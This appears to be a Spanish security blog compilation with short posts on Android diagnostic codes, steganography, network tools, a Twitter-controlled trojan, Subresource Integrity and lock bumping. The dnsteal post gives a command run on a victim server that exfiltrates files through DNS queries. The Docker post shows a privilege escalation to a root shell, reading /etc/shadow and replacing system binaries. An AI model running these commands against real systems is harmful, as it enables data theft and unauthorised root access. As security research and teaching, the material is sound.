Listado de códigos secretos de Android

Casi desde el nacimiento de los teléfonos móviles existen códigos secretos para activar diversas funciones y realizar diferentes diagnósticos. A continuación recopilamos un listado de aquellos códigos conocidos para Android, algunos específicos y sólo funcionales para algunos fabricantes. ¿Conoces alguno más?

Información del dispositivo

*#06# : Visualización del número IMEI del dispositivo
*#*#1111#*#* : Información sobre la versión de software FTA
*#*#2222#*#* : Información sobre la versión del hardware FTA 
*#*#1234#*#* : Información sobre la versión de software PDA y de firmware 
*#*#232337#*#* : Muestra la dirección Bluetooth del smartphone
*#*#232338#*#* :  Muestra la dirección MAC del la tarjeta WiFi del dispositivo

*#*#2663#*#* : Visualiza la versión de la pantalla táctil del smartphone 
*#*#3264#*#* : Muestra que versión de memoria RAM está disponible en el smartphone o la tablet
*#*#34971539#*#* : Visualiza la información detallada de las cámaras disponibles en el dispositivo
*#*#44336#*#* : Permite la visualización de la fecha de compilación y su lista de cambios
*#*#4636#*#* : Muestra estadística de uso, manejo de la batería, opciones avanzadas de conexiones (wifi, bluetooh, redes móviles) entre otras opciones.
*#*#4986*2650468#*#* : Al ingresar este código se puede ver la información de firmware, hardware, PDA y de RF Call Date del dispositivo
 

*#12580*369# : Información detallada del software y hardware del dispositivo 
*#7465625# : Visualiza el estado actual de bloqueo del teléfono
*#872564# : Muestra información y estadísticas sobre el logging USB
 


Pruebas

*#*#0*#*#* : Permite la ejecución de un test para la pantalla LCD

*#*#0842#*#* : Pruebas de iluminación a la pantalla y pruebas de vibración
 *#*#0283#*#* : Prueba de bucle de los paquetes de datos
*#*#0588#*#* : Realiza una prueba de detector de proximidad
*#*#1472365#*#* : Realiza una prueba rápida del GPS
*#*#1575#*#* : Pruebas avanzadas al GPS del dispositivo
*#*#232331#*#* : Ejecuta pruebas sobre Bluetooth
*#*#232339#*#* :  Pruebas las redes Wireless
*#*#2664#*#* : Pruebas sobre la pantalla táctil del dispositivo

*#*#3424#*#* : Programa de pruebas de función HTC Run
*#*#7262626#*#*: Con este código se ejecuta un test de campo o arranque del dispositivo
##33284# : Realiza la prueba de campo
##3424# : Ejecutar el modo de diagnóstico


Menús ocultos

*#0*# : Acceso al menú de servicios de los últimos dispositivos Samsung Galaxy
*#*#8255#*#* : Acceso al monitor del servicio Google Talk
*#301279# : Este código permite ingresar al Menú de control HSPA/HSUPA para seleccionar tipos de redes
##3282# : Muestra el menú EPST
##7764726 : Menú de servicio oculto para Motorola Droid
##778 (+tecla de llamada) : Esta opción permite visualizar el menú EPST
 


Acciones

*#*#273282*255*663282*#*#* : Hacer una copia de seguridad inmediata de todos los archivos multimedia almacenados en el dispositivo.
*#*#7594#*#* : Con este código se puede apagar el teléfono inmediatamente

*2767*3855# : Formato dispositivo al estado de fábrica (se borrará todo el teléfono)
 *#*#7780#*#* : Restablecer la partición de datos / estado de fábrica
*#*#8351#*#* : Permite activar y visualizar el modo de registro en la marcación por voz

*#*#8350#*#* : Desactiva el registro del anterior código, la marcación por voz
*#9090# : Configuración de diagnóstico en el dispositivo
*#9900# : Código para entrar en el “Modo Dump” del sistema
**05**# : Lanza la pantalla de emergencia para desbloquear el código PUK
###8626337 : Ejecutar VOCODER
##786# : Apoyo Logístico inversa

*#*#197328640#*#* : Activar el modo “Prueba de servicio”

Novena: contruye tu portátil desde 0 y sin secretos

¿Eres tan paranoico que crees que podría haber código malicioso oculto en drivers o firmware cerrados, o incluso en las placas bases o en otro hardware de tu ordenador? ¿o simplemente estás harto de los bugs del código cerrado de los fabricantes? No te preocupes, ahora podrás contruir tu propia computadora de códido abierto completamente desde cero, tanto hardware como software.

Andrew Huang y Sean Cross, dos ingenieros de Singapur proponen Novena, una plataforma de hardware abierto, software libre y de código abierto (FLOSS). El equipo portátil prototipo gira en torno a una CPU de cuatro núcleos Cortex A9 de Freescale (SoC) y FPGA (field-programmable gate array). Podéis ver el resto de especificaciones en su página.



Incluso el marco de la pantalla es "hackeable", como Huang explica: "Cualquier persona con acceso a una tienda de hardware puede fabricar un marco personalizado para adaptarlo a una pantalla LCD diferente, así como montar sensores adicionales (como una cámara o un micrófono) o botones y mandos adicionales".


Hace 18 meses llegaron incluso a hacer un proyecto de crowdfunding que superó con creces sus objetivos, a pesar de que los precios oscilaron desde 1.195$ a los 5.000$ de un modelo de madera.

Empuja al malware a un agujero sin salida con DNS sinkholing

DNS sinkholing es un técnica mediante la cual podemos prevenir el acceso a sitios maliciosos devolviendo IPs falsas o nulas como respuesta a peticiones DNS intentando resolver dominios conocidos con malware. Se lleva utilizando desde hace años, incluso por operadores Tier-1, sobretodo para impedir las conexiones a servidores de comando y control (C&C) y, en definitiva, para detener a grandes botnets. Su implementación es sumamente sencilla: sólo configura manualmente o mediante DHCP el uso de un DNS con sinkholing. Y si detectas un falso positivo corrige la zona o, si sólo eres un usuario de "a pie", añade el host correspondiente a tu fichero host o utiliza otro servidor DNS y a otra cosa...

Básicamente un DNS sinkhole falsea los servidores DNS autorizados para hosts y dominios maliciosos y no deseados. Un administrador configura el forwarder DNS correspondiente para devolver direcciones IP falsas para estos hosts y dominios conocidos. Cuando un cliente solicita resolver la dirección de uno de estos hosts o dominios, el DNS sinkhole devuelve una dirección no enrutable o cualquier dirección excepto la dirección real. Esto deniega al cliente una conexión con el host de destino.

Veamos un claro ejemplo con bind, el servidor DNS en Linux de facto. Ya veréis lo sencilla que es una implementación básica. 


Primero instalamos el software:
# apt-get install bind9
# service bind9 start

DeepSound: la herramienta que utilizan en Mr.Robot para ocultar datos en audio

Si habéis visto Mr. Robot seguro que se os quedó en la retina cómo Elliot guardaba en CDs de música la información extraída de cada uno de sus "trabajitos", los etiquetaba con el nombre de algún grupo clásico y lo archivaba en una carpeta junto otros CDs. Es decir, ocultaba la información cifrada en esos CDs de audio que sólo él podía recuperar... 


Lo curioso es que utilizara "DeepSound" como un vulgar script kiddie, una herramienta que funciona sólo bajo Windows 7 por lo que Elliot necesitaba levantar una máquina virtual en su Kali Linux sólo para ejecutarla.

Sea como fuere, DeepSound es una herramienta de esteganografía y conversor de audio muy facilita de usar con la que podremos ocultar datos en archivos de audio. La aplicación también permite extraer archivos secretos directamente de los archivos de audio o pistas de CD de audio.


DeepSound puede ser usado también como software para marcar copyright en WAV, FLAC, WMA, APE, y CD de audio, y soporta el cifrado de archivos ocultos utilizando AES-256 (Advanced Encryption Standard) para mejorar la protección de datos.

La aplicación contiene, además, un módulo convertidor de audio que puede codificar varios formatos de audio (FLAC, MP3, WMA, WAV, APE) a otros (FLAC, MP3, WAV, APE).

Documentación: http://jpinsoft.net/DeepSound/Documentation.aspx
Descarga: http://jpinsoft.net/DeepSound/Download.aspx?Download=LastVersion

gping: un ping, pero gráfico

gping es una pequeña herramienta escrita en Python que nos dará un visión gráfica del tiempo de respuesta recibido mediante ping. Muy útil para observar las variaciones de retardo o jitter. Funciona con Python 2.7 o 3.4 y lo podemos instalar de forma muy sencilla con: pip3 install pinggraph.

Se ha probado en Windows y Linux (Ubuntu y Debian), y debería funcionar en OS X también.  Después de la instalación ejecuta:

gping [yourhost]



Proyecto GitHub: https://github.com/orf/gping


Otras alternativas:

- Tplot $ tplot -s "ping -c 1 google.com | grep 'time=.*ms' | sed 's/.*time=\\([^ ]\\+\\).*/\\1/'"
- Gping http://sourceforge.net/projects/gping/
- PingPlotter https://www.pingplotter.com/standard.html
- SmokePing http://oss.oetiker.ch/smokeping/doc/reading.en.html
- EMCO Ping Monitor http://emcosoftware.com/ping-monitor
- Colasoft Ping Tool http://www.colasoft.com/ping_tool/
- Visual Ping tester http://www.pingtester.net/index.htm
- The Dude http://www.mikrotik.com/thedude

Material de la conferencia Hack.lu 2015

Del 20 al 22 de octubre tuvo lugar en Luxemburgo la 11ª edición de la Hack.lu una convención/conferencia donde se habla sobre seguridad informática, privacidad, tecnologías de la información y su implicación cultural y tecnológica en la seguridad. 
Viendo algunas presentaciones las charlas debieron ser impresionantes. Podéis disfrutar ya de la mayoría del material (iré subiendo el resto de enlaces según vayan publicando):

- Unpatchable: Living with a Vulnerable Implanted Device
- Internet of Tchotchke
- Trusting Files Formats: Illusions or Reality?
- How Mobile Applications Are Redefining Information Controls Inside of Iran
- Geek usages for your Fitbit Flex tracker
- Key-Logger, Video, Mouse - How to turn your KVM into a raging key-logging monster
- Forging the USB armory
- Keys? Where we’re going, we don’t need keys
- Draw me a Local Kernel Debugger
- Security of Virtual Desktop Infrastructures: from great concepts to bad surprises
- Binary Constraint Solving with LLVM
- Advances in Secure Messaging Protocols
- Learn from Malwares, A Practical guide of spear phishing for Red Teams
- How not to build an electronic voting system
- Totally Spies!
- HackingTeam - how they infected your Android device by 0days
- A Collective View of Current Trends in Criminal Hosting Infrastructures
- How digital forensics met threat intelligence
- They Hate Us ‘Cause They Ain’t Us - How We Broke the Internet
- Scrutinizing WPA2 Password Generating Algorithms in Wireless Routers
- Security Design and High-Risk Users
- Stegosploit - Delivering Drive-By Exploits With Only Images
- Crema: A LangSec-Inspired Programming Language
- Why Johnny Can’t Unpack: Toward One Click Unpacking
- Breaking Yet Another Digital Divide: Bringing the Tech World into the Discussion on Digital Literacy
- Improving Flash Exploits Analysis

- Crowdsourced Malware Triage! (workshop)

Fuente: http://2015.hack.lu/ 

Usa IRC bajo Tor fácil y rápidamente mediante un contenedor Docker preconfigurado

Los tiempos cambian y hasta los juakers utilizan grupos de Whatsapp para comunicarse. Sin embargo y gracias a D10S sigue habiendo "románticos" que utilizan el IRC tradicional y todavía puedes saltar de canal en canal leyendo y participando en infinitas conversaciones. 


No obstante saber una docena de comandos de IRC y escribir en un terminal "like a pro" no implica necesariamente que no seas vulnerable al entrar a uno de estos chats...

El ejemplo más claro es la cantidad de usuarios que revelan sus IPs reales simplemente por unirse a un canal, y muchos sólo para ejercitar el vouyerismo. Es decir, no vale con afiliarse un cloak (que muchos ni se molestan), todavía cualquier miembro del staff puede obtener la IP mediante un simple /whois, o cualquiera con /monitor si no usas SASL, o cuando aceptas una transferencia de algún fichero (DCC) o con algunos otros pocos etcéteras.


* [VictorXX] (~VictorXX@67.poolXX-XX-174.dynamic.orange.es): VC
* [VictorXX] ##espanol 
* [VictorXX] kornbluth.freenode.net :Frankfurt, Germany
* [VictorXX] idle 00:10:51, signon: Wed Oct 21 23:31:20
* [VictorXX] is logged in as VictorXX
* [VictorXX] End of WHOIS list.

* [Zape] (pepe@unaffiliated/pepe): Got ZNC?
* [Zape] ##espanol 
* [Zape] card.freenode.net :Washington, DC, USA
* [Zape] is using a secure connection
* [Zape] idle 25:28:58, signon: Fri Oct 16 14:55:25
* [Zape] is logged in as pepe
* [Zape] End of WHOIS list.

Ni que decir tiene que con las posibilidades actuales de geolocalización y sólo con una IP pública podrían llegar a localizarte con una precisión de unos pocos metros justo mientras estás escribiendo sentado en tu taza del wáter. Lo mejor: utilizar siempre una VPN o TOR para enmascarar nuestra IP cuando conversamos por el IRC.

Y bueno, si eres vago como yo, pues ya no tendrás excusa para no ocultar tu IP... Gracias al siguiente contenedor Docker preconfigurado con Ubuntu 14.04, WeeChat (cliente IRC) y el proxy Tor sólo ejecutando el siguiente comando se abrirá directamente en tu terminal Linux WeeChat e inmediatamente te conectarás a OFTC sobre Tor.

docker run -it cpp1/weechat_tor

-- Sun, 18 Oct 2015 --

03:33:12    oftc  -- | irc: connecting to server irc.oftc.net/6697 (SSL) via socks5 proxy 127.0.0.1/9050...
03:33:12    oftc === | ========== End of backlog (1 lines) ==========

-- Wed, 21 Oct 2015 (Sun, 18 Oct 2015) --
23:57:52 weechat     |   ___       __         ______________        _____
23:57:52 weechat     |   __ |     / /___________  ____/__  /_______ __  /_
23:57:52 weechat     |   __ | /| / /_  _ \  _ \  /    __  __ \  __ `/  __/
23:57:52 weechat     |   __ |/ |/ / /  __/  __/ /___  _  / / / /_/ // /_
23:57:52 weechat     |   ____/|__/  \___/\___/\____/  /_/ /_/\__,_/ \__/
23:57:52 weechat     | WeeChat 0.4.2 [compiled on Oct 25 2013 09:30:24]
23:57:52 weechat     | - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
23:57:53 weechat     | Plugins loaded: alias, aspell, charset, fifo, irc, logger, lua, perl, python, relay, rmodifier, ruby, script, tcl, xfer
23:57:53    oftc  -- | irc: connecting to server irc.oftc.net/6697 (SSL) via socks5 proxy 127.0.0.1/9050...
 
Fuente: Using a Docker container to log into IRC via Tor

CodeBug: un dispositivo para aprender a programar por menos de 20€

CodeBug es un dispositivo programable y portátil diseñado para introducir a cualquier persona de cualquier edad en los conceptos electrónicos y en la programación simple.

CodeBug es fácil de programar utilizando una interfaz online con coloridos bloques que se pueden arrastrar y soltar, un emulador en el navegador y características muy interesantes de la comunidad. Crea tus propios juegos, ropa, robots o cualquier otra invención loca que tengas en mente!

CodeBug tiene seis "patas" eléctricas que se pueden utilizar con componentes electrónicos externos, tales como LEDs y conmutadores. Puedes conectarte a estas patas con pinzas, bananaplugs o hilos conductores. Las dos patas del centro proporcionan la energía y las otras cuatro se seleccionan como entradas o salidas en el código. Se puede leer el estado de las entradas, y encender o apagar las salidas mediante declaraciones en el código.

Incluye:
 - CodeBug
 - cable Microb USB para la programación y energía
 - Guía de inicio rápido

CodeBug es compatible con Windows, Mac OSX y Linux. No necesita instalar drivers (aparecerá como un disco portátil). Hay grandes proyectos y actividades que se encuentran en el centro de aprendizaje de CodeBug.

Características:
 - pantalla de 25 LED (5 x 5 píxeles rojos)
 - 2 botones
 - haz tus proyectos móviles utilizando batería
 - 4 sensores I/O táctiles
 - Puerto micro USB
 - Puerto de expansión para I2C, SPI y UART
 - Interfaz de programación online basado en Blockly
 - Emulador CodeBug para comprobar el código antes de descargar
 - Almacenamiento online de proyectos
 - Modo tethered para la interacción ordenador/CodeBug 
 - Guías paso a paso

Para más información visita la página de CodeBug Quick Start Guide page 1 y CodeBug Quick Start Guide page 2.

Puedes encontrar especificaciones detalladas en el datasheet.


Más info en: https://shop.pimoroni.com/products/codebug

GoAT, un troyano escrito en Go que utiliza Twitter como C&C

Puertas traseras o troyanos que utilizan canales encubiertos para comunicarse con los servidores de comando y control. ¿A quién no le gusta? ;)

Hace tiempo hablamos de GCat que utilizaba una cuenta de GMail y luego Twittor que hacía lo propio con una cuenta de Twitter. Hoy vemos GoAT de Peter Cunha que también utiliza Twitter como C&C pero que quizás llama la atención porque está escrito en un lenguaje no tan común a la hora de escribir malware... Go, bueno... y un módulo rootkit escrito en C, pero aceptamos barco...

Permite ejecución multihilo y, aunque todavía está algo verde, es una excelente oportunidad para aprender más Go... así que a echar un vistazo al código fuente en su repositorio de Github!

https://github.com/petercunha/GoAT

10 emuladores WAN para que pruebes distintas condiciones de red

Cualquier administrador de red o desarrollador que quiera comprobar el comportamiento cuando acceden remotamente a sus equipos o aplicaciones o en definitiva cualquiera que trabaje en algo relacionado con redes (hola mundo TI!) y quiera observar la experiencia de usuario desde distintos tipos de enlaces, el algún momento necesitará usar un emulador WAN. Básicamente se trata de dispositivo por hardware o software capaz de modificar en tiempo real parámetros de red como la velocidad, la latencia, el jitter y la pérdida, corrupción, duplicación y reordenamiento de paquetes simulando varios entornos posibles que se pueden dar hoy en día con las comunicaciones.

A continuación os presentamos algunos de los emuladores más conocidos, algunos de tipo software instalable y configurable con más o menos dificultad y otros de tipo hardware (sobretodo appliances) que hacen más fácil su puesta en marcha. También os indico con un ($) cuando se trata de productos de índole comercial y algunos (old) que ya son proyectos discontinuados y archivados pero que todavía podemos usar. En este caso podríamos hablar también de Network Nightmare, NISTnet que quedaron fuera de esta lista por obsoletos y, por otro lado, también otras soluciones comerciales como las de
Ixia o Net.Storm que no incluido. No obstante si echáis en falta cualquier emulador en esta lista no dudéis en comentar esta entrada.

1. WANem


WANem proporciona una experiencia real de una red WAN/Internet durante el desarrollo/pruebas sobre un entorno LAN. Normalmente los desarrolladores de aplicaciones construyen aplicaciones en una red local, mientras que el uso previsto para el mismo podría ser para los clientes accediendo a la misma a través de una WAN o incluso Internet. Por lo tanto WANem permite al equipo de desarrollo de aplicaciones configurar una puerta de enlace transparente que puede ser utilizada para simular las características WAN como retardo de red, pérdida de paquetes, corrupción de paquetes, desconexiones, paquetes de reordenamiento, Jitter, etc.
WANen es de código abierto bajo la licencia GNU General Public License y está basada en Knoppix.

2. Netem

 
Netem ofrece la funcionalidad de emulación de red para las pruebas de protocolos simulando las propiedades de una WAN. Actualmente soporta delay, pérdidas, duplicación y reordenamiento. Si se ejecuta en una distribución (Fedora, OpenSuse, Gentoo, Debian, Mandriva, Ubuntu) con kernel 2.6 ya estará activado por defecto. Netem es controlado por el comando 'tc' que es parte del paquete iproute2. El comando tc usa las bibliotecas compartidas y archivos de datos en el directorio /usr/lib/tc.

Pronto los navegadores web dejarán ejecutar JS de terceros sólo si se ha verificado el hash correspondiente

El borrador de la Integridad de Subrecursos (en inglés Subresource Integrity) del W3C está muy avanzado y ya lo implementan Mozilla Firefox Developer Edition 43 y otros navegadores modernos. Gracias a esta especificación se controla la carga de JavaScript de terceros evitándose modificaciones inesperadas o maliciosas, simplemente añadiendo al sitio web un código como este:
 
<script src="https://code.jquery.com/jquery-2.1.4.min.js"
integrity="sha384-R4/ztc4ZlRqWjqIuvf6RX5yb/v90qNGx6fS48N0tRxiGkqveZETq72KgDVJCp2TC"
crossorigin="anonymous"></script>

Como veis, la idea es incluir el script junto con su hash (por ejemplo, SHA-384) al crear la página web. El navegador puede entonces descargar el script y calcular el hash sobre el archivo descargado. El script sólo se ejecutará si ambos hashes coinciden, es decir, si comprueba su integridad criptográfica.
La seguridad de una función resistente a colisiones asegurará que cualquier modificación genere un hash diferente y esto ayudará al sitio web a detectar y prevenir cualquier modificación de un servicio CDN (redes de distribución de contenidos) comprometido o de un atacante malicioso.

Una nota importante es que para que funcione la Integridad de Subrecursos, el CDN debe soportar Cross-Origin Resource Sharing (CORS). El atributo crossorigin en el fragmento de código anterior fuerza que se cargue CORS y el valor anónimo significa que el navegador debe omitir cualquier cookie o autenticación que el usuario pueda haber asociado al dominio. Esto evita las fugas de datos de crossorigin, y también hace que la petición sea más pequeña.

Además, no sé si os habréis dado cuenta, pero el atributo de integridad también incluye el nombre digest. Eso es porque la sintaxis permite múltiples tokens lo que a su vez permite a los propietarios del sitio especificar hashes diferentes así como los valores de múltiples scripts que pueden estar detrás de una URL. Esto es útil para el browser sniffing o para la negociación de contenidos.

 
<script src="https://code.jquery.com/jquery-2.1.4.min.js"
integrity="sha384-R4/ztc4ZlRqWjqIuvf6RX5yb/v90qNGx6fS48N0tRxiGkqveZETq72KgDVJCp2TC
sha256-8WqyJLuWKRBVhxXIL1jBDD7SDxU936oZkCnxQbWwJVw="
crossorigin="anonymous"></script>

Luego es probable que los administradores no quieran presentar su sitio como una web inaccesible si los navegadores de los usuarios no pueden verificar todos los hashes de los elementos cargados desde un recurso CDN. Para ello pueden mantenerse copias de los scripts en el propio sitio web y cargar el script directamente en caso necesario, añadiendo el siguiente código al fragmento anterior:

 
<script>window.jQuery || /* reload from own domain here */;</script>

Respecto a si la Integridad de Subrecursos funciona tanto en HTTP como en HTTPS, evidentemente el navegador puede averiguar si un script se modificó en la CDN en HTML plano, pero no estará protegido de que un atacante activo modifique el atributo de la integridad del HTML. Por lo tanto para proporcionar confidencialidad, integridad y autenticidad lo mejor es usar HTTPS en todo sitio web.

Y más cosas para terminar. La Integridad de Subrecursos puede verificar también CSS utilizando el atributo de integridad en el tag <link> y si queréis probar la compatibilidad con navegadores o jugar con ejemplos, echar un vistazo a https://srihash.org/, que puede hacer todo el trabajo sucio de calcular hashes, así como comprobar si tu CDN ya lo soporta. BootstrapCDN, CloudFlare y GitHub ya están experimentando con ello...

Fuente: Do not let your CDN betray you: Use Subresource Integrity

¿He sido hackeado? Comprueba si tu cuenta se ha visto comprometida

"¿He sido hackeado?" es un proyecto relacionado con la seguridad informática y el big data y se trata de un motor anónimo de búsqueda que te permite comprobar si tu email ha sido comprometido en fugas de seguridad que se hayan expuesto públicamente.
 

Aunque hay algunos proyectos parecidos a nivel internacional, su autor José M. Chia le ha querido dar una vuelta más de tuerca y se diferencia principalmente en que las consultas son 100% anónimas y totalmente gratuitas, también rastrea en tiempo real un montón de sitios web dónde se suelen publicar estas fugas (clearnet y darknet), lee documentos de todo tipo (.doc, .xls, .pdf, etc).. ¡y lleva más de 200 millones de emails indexados! 

El objetivo del proyecto es concienciar sobre la cantidad de fugas que se producen diariamente, lo realmente amenazada que está nuestra nuestra privacidad y además dar una forma sencilla de comprobar si han hackeado alguna web en dónde estuvieras registrado P-)

La web está traducida al español e inglés, y además tiene una API para poder integrar las consultas más cómodamente en cualquier app.

En un futuro seguramente se amplíe con disparadores y notificaciones al email, búsquedas regex, etc.. Pero de momento para el lanzamiento está bastante bien :D 

Si quieres profundizar un poco sobre el por qué del proyecto y cómo funciona el motor de búsqueda se explica de forma sencilla en “Sobre el proyecto” https://hesidohackeado.com/about

No dudéis en comentar esta entrada o escribir a su autor para compartir vuestras impresiones acerca del proyecto.

Llaves caseras de bumping para abrir casi cualquier puerta fácil y rápidamente

La técnica de apertura de impacto o bumping consiste en insertar una llave con los cortes muy bajos y golpearla con un objeto separando así los pernos de los contrapernos y liberando el giro de la llave mediante una presión en el momento oportuno. 

Es una de las maneras más efectivas y rápidas para abrir cerraduras. El cilindro no suele ser dañado y se calcula que más del 80% de las cerraduras mecánicas actuales pueden abrirse mediante esta técnica

Además no necesitarás gastar dinero en adquirir una herramienta de bumping, en los siguientes vídeos podrás ver cómo crear tus propias llaves, primero una manual con un simple alambre y luego una eléctrica con un motorcillo y una pila. 

Eso sí, no seáis malos!

dnsteal.py, envía ficheros a través de peticiones DNS

¿Quieres sacar ficheros de un servidor de la forma más silenciosa posible? dnsteal.py es un script en Python que monta un servidor DNS falso y al cual podremos enviar ficheros sólo mediante peticiones DNS, algo también muy útil en entornos empresariales donde los firewalls permiten las peticiones DNS hacia Internet.

Su uso es muy sencillo. Levantamos el servidor en nuestro extremo:

python dnsteal.py 127.0.0.1 -z

Con la opción menos -z habilitamos la descompresión automática, ya que es conveniente mandar los ficheros comprimidos para mejorar la velocidad.



Ahora desde el servidor de la víctima simplemente ejecutamos:

for b in $(gzip -c foto.jpeg | xxd -p); do dig @server $b.filename.com; done


Y en un rato ya tenemos en nuestro servidor el fichero:

root@kali:~/pruebas/dnsteal# ls
dnsteal.py  LICENSE  README.md  recieved_filename

root@kali:~/pruebas/dnsteal# file recieved_filename 
recieved_filename: JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1280x1024, frames 3
 
Fuente: https://github.com/m57/dnsteal

Hackeando el portero automático del portal de casa, ¿quién da más?

La mayoría de porteros automáticos instalados en la entrada al recinto de una comunidad o en un edificio de viviendas siguen siendo analógicos. Si no hay nadie en casa tendrás que abrir la puerta con una llave porque no existe un teclado numérico en el que escribir un código de acceso para entrar directamente al portal. Aunque ésto no es problema para el polaco Paweł Zadrożniak que, mediante una placa con un microcontrolador Atmel conectada al telefonillo, permite abrir la puerta automáticamente si se pulsa el botón del timbre en la secuencia y forma correctas. Además, para aumentar la diversión, es capaz de reproducir distintos sonidos o música desde la tarjeta SD, por ejemplo un perro que ladra cuando llama el cartero...

Increíble, verdad? Como decíamos el circuito se instala en el auricular del telefonillo. Detecta la señal de llamada y simula la pulsación del botón con un switch de relay si la señal coincide con el patrón programado. También se conecta a la salida del micrófono para reproducir el sonido.
En cuanto el hardware se utiliza una placa con un microcontrolador ATMega328P, relé, un regulador LDO de 3,3V y algunos pasivos. También es posible usar un Arduino (328P) cambiando la configuración de la MCU para que el oscilador funcione a 8MHz o modificar el código para que funcione a 16MHz (2x).



El esquema y el código fuente están disponibles en: http://silent.org.pl/files/public/entry_phone_hack_0.1.zip

Fuente: http://silent.org.pl/home/2015/10/04/entry-phone-hack/

¿Manejas contenedores Docker? Pues si quieres puedes hacerte root...

Ya hemos hablado de lo versátil que es Docker pero hay algo que (en mi opinión y la de otros) adolece a nivel de seguridad y es que cualquier usuario de un servidor Linux perteneciente al grupo docker puede abrir un shell como root, sobrescribir la configuración del sistema, acceder a información restringida, etc.

¿No te lo crees? Pues vamos a comprobarlo rápidamente. 


Primero creamos un usuario de prueba y lo agregamos al grupo docker:
root@kali:~# adduser prueba
root@kali:~# usermod -aG docker prueba

root@kali:~# su - prueba
prueba@kali:~$ pwd
/home/prueba

Luego creamos un nuevo contenedor basado en una imágen de Debian. Para ello preparamos un dockerfile:

prueba@kali:~$ mkdir docker-test
prueba@kali:~$ cd docker-test
prueba@kali:~/docker-test$ vi Dockerfile

FROM debian:wheezy
ENV WORKDIR /dir_pruebas
RUN mkdir -p $WORKDIR
VOLUME [ $WORKDIR ]
WORKDIR $WORKDIR

Guardamos y lanzamos:

prueba@kali:~/docker-test$ docker build -t my-docker-image .

Ya está. Ahora simplemente copiamos el shell y agregamos el setgid:

prueba@kali:~/docker-test$ docker run -v $PWD:/dir_pruebas -t my-docker-image /bin/sh -c \
> 'cp /bin/sh /dir_pruebas && /bin/chown root.root /dir_pruebas/sh && chmod a+s /dir_pruebas/sh'
prueba@kali:~/docker-test$ ls -las
total 120
  4 drwxr-xr-x 2 prueba prueba   4096 Oct  7 12:45 .
  4 drwxr-xr-x 3 prueba prueba   4096 Oct  7 12:45 ..
  4 -rw-r--r-- 1 prueba prueba    103 Oct  7 12:45 Dockerfile
108 -rwsr-sr-x 1 root   root   106920 Oct  7 12:50 sh

Lo ejecutamos:

prueba@kali:~/docker-test$ ./sh

Y comprobamos que ya somos root:

# whoami
root

Así de simple.

Por supuesto podemos leer también ficheros a los que inicialmente no tenemos permiso:
prueba@kali:~/docker-test$ docker run -v /etc:/dir_pruebas -t my-docker-image /bin/sh -c 'cat shadow'
root:$6$9sirPrQg$keegdhdfhsddy4566e57y635yhfdhxcghdfgSDFGsdffgdsfgsdgdscA4jXTtMAOmHy6iA2l7eksg1:16657:0:99999:7:::
daemon:*:16656:0:99999:7:::
bin:*:16656:0:99999:7:::
sys:*:16656:0:99999:7:::
sync:*:16656:0:99999:7:::
games:*:16656:0:99999:7:::
man:*:16656:0:99999:7:::
lp:*:16656:0:99999:7:::
mail:*:16656:0:99999:7:::
news:*:16656:0:99999:7:::
...

Crear una copia de un bash con privilegios para acceder más tarde:
prueba@kali:~/docker-test$ docker run -v /:/dir_pruebas -t my-docker-image /bin/sh -c \
> 'cp /dir_pruebas/bin/bash /dir_pruebas/bin/root-shell-ftw && chmod a+s /dir_pruebas/bin/root-shell-ftw'
prueba@kali:~/docker-test$ root-shell-ftw  -p
root-shell-ftw-4.3# whoami
root

Sobreescribir comandos del sistema por otros maliciosos:
prueba@kali:~/docker-test$ docker run -v /:/dir_pruebas -t my-docker-image /bin/sh -c \
'cp /dir_pruebas/rogue-program /dir_pruebas/bin/cat'

Y en definitiva, hacer lo que se nos de en gana hasta donde nos lleve nuestra imaginación.

No obstante el equipo de seguridad de Docker no califica ésto como una vulnerabilidad puesto que considera que cualquier usuario que pueda utilizar Docker tiene privilegios totales dentro y fuera de los contenedores. Es decir, por diseño el grupo docker equivaldría al de root...

¿Solución a ésto? Utilizar SELinux, opción -v... y evitar no instalar Docker en una máquina con información sensible de otros usuarios (ups!).

Fuente: Using the docker command to root the host (totally not a security issue)

Script de Volatility para extraer de la memoria información de sesiones de Facebook

Nikos Gkogkos ha publicado un interesante script para el framework Volatility con el que podemos extraer fácilmente de la memoria información de una sesión de Facebook. Simplemente clona el repositorio en local y copia facebook_extractor.py dentro de la ruta "/volatility/volatility/plugins/".

El script facebook_extractor.py contiene 3 plugins para Volatility:

    facebookgrabinfo
    facebookcontacts
    facebookmessages

Por cada plugin puedes ver las opciones disponibles con: $ python vol.py "facebook-plugin" -h

Normalmente, en primer lugar debemos ejecutar facebookcontacts, con el fin de obtener los IDs del propietario y de sus contactos. Luego grabar la información del propietario y revisar los mensajes que se ha cruzado con sus contactos.

Ejemplo:



*Nota:
Normalmente no es necesario usar el argumento oid porque el plugin es capaz encontrar el ID del propietario de forma automática. Sin embargo, puede que 2 usuarios diferentes se hubieran conectado a sus respectivas cuentas antes de capturar el volcado de memoria RAM. Por lo tanto, el código no va a poder decidir el ID correcto, y en ese caso si debemos suministrar el parámetro --oid.

Repositorio:
https://github.com/ngkogkos/volatility-plugins

Wifatch, el "malware" que mejora la seguridad de los dispositivos que infecta

Alguien está comprometiendo miles de routers en varios países pero con el único objetivo de fortificarlos. De momento no se sabe exactamente quién está detrás, pero se trata de una pieza de malware que Symantec ha bautizado como "Linux.Wifatch". El software malicioso comprueba que la contraseña existente no es la de por defecto y, si la es, obliga a cambiarla. También elimina otros tipos de malware conocido y fuerza la actualización de software.

Paradójico, ¿verdad? Un malware que se encarga de mejorar la seguridad de los dispositivos de IoT para que no les afecten otro tipos de malware...

"No hemos visto ninguna actividad maliciosa en absoluto", dijo Val Saengphaibul de Symantec. "Sin embargo, en el sentido jurídico, se trata de una actividad ilegal. Están accediendo a dispositivos de red sin el permiso del propietario".

De momento ya ha infectado a más de 10.000 routers basados en Linux, la mayoría en China y Brasil. ¿Serán totalmente altruistas las intenciones de este Robin Hood de los hackers?

Fuentes:
- Is there an Internet-of-Things vigilante out there?
- New ‘Vigilante’ Malware Protects Routers Against Security Threats
- A vigilante hacker is forcing you to change your password
- A vigilante hacker is changing 10,000 WiFi passwords
- Linux.Wifatch ‘malware’ is actually making routers more secure

Cómo comprometer por completo la máquina de un usuario incauto que ejecute un WinRAR auto-extraíble

